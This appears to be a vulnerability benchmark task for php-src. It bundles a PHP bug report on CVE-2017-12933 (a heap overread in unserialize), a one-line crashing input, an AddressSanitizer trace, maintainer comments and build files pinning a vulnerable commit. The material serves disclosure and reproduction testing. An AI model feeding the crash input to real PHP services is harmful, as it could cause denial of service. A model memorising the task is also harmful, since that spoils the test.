Project: php-src (php/php-src), language: c++
Vulnerability instance: php.cve-2017-12933
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=74111
## Description:
PHP Bug ID: 74111
Summary: Heap buffer overread (READ: 1) finish_nested_data from unserialize
Status: Closed
PHP Version: 7.1.2RC1
Assigned: stas (profile)
CVE-ID: 2017-12933

Description:
Description:
------------
Fuzzing with AFL has produced this test case which reports (with USE_ZEND_ALLOC=0):
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/standard/var_unserializer.re:480 finish_nested_data

This seems like it could be related to Hanno's report (https://bugs.php.net/bug.php?id=73825&edit=2) except that Hanno's test case appears to be fixed in the 7.1.2RC1 source I have from GitHub and I get the expected 'Warning: Bad unserialize data in - on line 2' when running that case.

Test script:
---------------
echo -ne 'O:8:"stdClass":00000000' | ~/php/afl/php-src-php-7.1.2RC1/sapi/cli/php -r 'unserialize(file_get_contents("php://stdin"));'

Actual result:
--------------
echo -ne 'O:8:"stdClass":00000000' | ~/php/afl/php-src-php-7.1.2RC1/sapi/cli/php -r 'unserialize(file_get_contents("php://stdin"));'
=================================================================
==17064==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400004b941 at pc 0x00000134929e bp 0x7ffef3018ff0 sp 0x7ffef3018fe8
READ of size 1 at 0x60400004b941 thread T0
    #0 0x134929d in finish_nested_data /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/standard/var_unserializer.re:480:6
    #1 0x134929d in object_common2 /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/standard/var_unserializer.re:572
    #2 0x1345f03 in php_var_unserialize_internal /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/standard/var_unserializer.re:989:9
    #3 0x133e3ba in php_var_unserialize /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/standard/var_unserializer.re:584:11
    #4 0x130145e in zif_unserialize /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/standard/var.c:1114:7
    #5 0x183126a in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/cyoung/php/afl/php-src-php-7.1.2RC1/Zend/zend_vm_execute.h:628:2
    #6 0x16eeff5 in execute_ex /home/cyoung/php/afl/php-src-php-7.1.2RC1/Zend/zend_vm_execute.h:432:7
    #7 0x16efda6 in zend_execute /home/cyoung/php/afl/php-src-php-7.1.2RC1/Zend/zend_vm_execute.h:474:2
    #8 0x15519cd in zend_eval_stringl /home/cyoung/php/afl/php-src-php-7.1.2RC1/Zend/zend_execute_API.c:1093:4
    #9 0x1552343 in zend_eval_stringl_ex /home/cyoung/php/afl/php-src-php-7.1.2RC1/Zend/zend_execute_API.c:1134:11
    #10 0x1552343 in zend_eval_string_ex /home/cyoung/php/afl/php-src-php-7.1.2RC1/Zend/zend_execute_API.c:1145
    #11 0x193b0aa in do_cli /home/cyoung/php/afl/php-src-php-7.1.2RC1/sapi/cli/php_cli.c:1024:8
    #12 0x1938dd4 in main /home/cyoung/php/afl/php-src-php-7.1.2RC1/sapi/cli/php_cli.c:1381:18
    #13 0x7f211a95482f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291
    #14 0x4809c8 in _start (/home/cyoung/php/afl/php-src-php-7.1.2RC1/sapi/cli/php+0x4809c8)

0x60400004b941 is located 1 bytes to the right of 48-byte region [0x60400004b910,0x60400004b940)
allocated by thread T0 here:
    #0 0x507cd5 in realloc (/home/cyoung/php/afl/php-src-php-7.1.2RC1/sapi/cli/php+0x507cd5)
    #1 0x14b06aa in __zend_realloc /home/cyoung/php/afl/php-src-php-7.1.2RC1/Zend/zend_alloc.c:2836:6
    #2 0x121fd96 in zif_file_get_contents /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/standard/file.c:561:18
    #3 0xfd0fdb in phar_file_get_contents /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/phar/func_interceptors.c:224:2
    #4 0x1831ce2 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/cyoung/php/afl/php-src-php-7.1.2RC1/Zend/zend_vm_execute.h:675:2

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/standard/var_unserializer.re:480 finish_nested_data
Shadow bytes around the buggy address:
  0x0c08800016d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c08800016e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c08800016f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0880001700: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa
  0x0c0880001710: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 fa
=>0x0c0880001720: fa fa 00 00 00 00 00 00[fa]fa 00 00 00 00 00 fa
  0x0c0880001730: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fa
  0x0c0880001740: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 fa
  0x0c0880001750: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 fa
  0x0c0880001760: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
  0x0c0880001770: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==17064==ABORTING

Comments:

[Comment 1] [2017-05-25 01:45 UTC] cyoung at tripwire dot com
Can someone provide feedback on this issue?  It seems an awful lot like CVE-2016-10161 but it is a distinct issue and I am surprised to not hear any feedback on this.

[Comment 2] [2017-06-25 18:47 UTC] nikic@php.net
Related To: Bug #74658
Links: https://bugs.php.net/bug.php?id=74658

[Comment 3] [2017-06-25 19:22 UTC] nikic@php.net
Patch against PHP 7.0, though it should be the same for all versions (modulo generated files): https://gist.github.com/nikic/46c6ce2005c5d5a0f62cc17fc1dddd96

I don't have a testing environment, but this probably also exists in PHP 5.6, so assigning to stas for release management. I think it's okay to not fix this in 5.6, as I don't see any exploitation vector beyond unlikely DOS.
Links: https://gist.github.com/nikic/46c6ce2005c5d5a0f62cc17fc1dddd96

[Comment 8] [2017-08-14 13:18 UTC] cyoung at tripwire dot com
Can there be a CVE assigned for this?

[Comment 9] [2017-08-23 13:40 UTC] cyoung at tripwire dot com
Mitre has assigned CVE-2017-12933

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
        --enable-option-checking=fatal \
        --disable-libxml \
        --disable-dom \
        --disable-simplexml \
        --disable-xml \
        --disable-xmlreader \
        --disable-xmlwriter \
        --without-pear \
        --enable-exif \
        --disable-phpdbg \
        --disable-cgi
make -j$(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout fb59213fc461f079bc218abf44cb5e2b4db2182c
WORKDIR $SRC/php-src
COPY build.sh $SRC/

Additional files: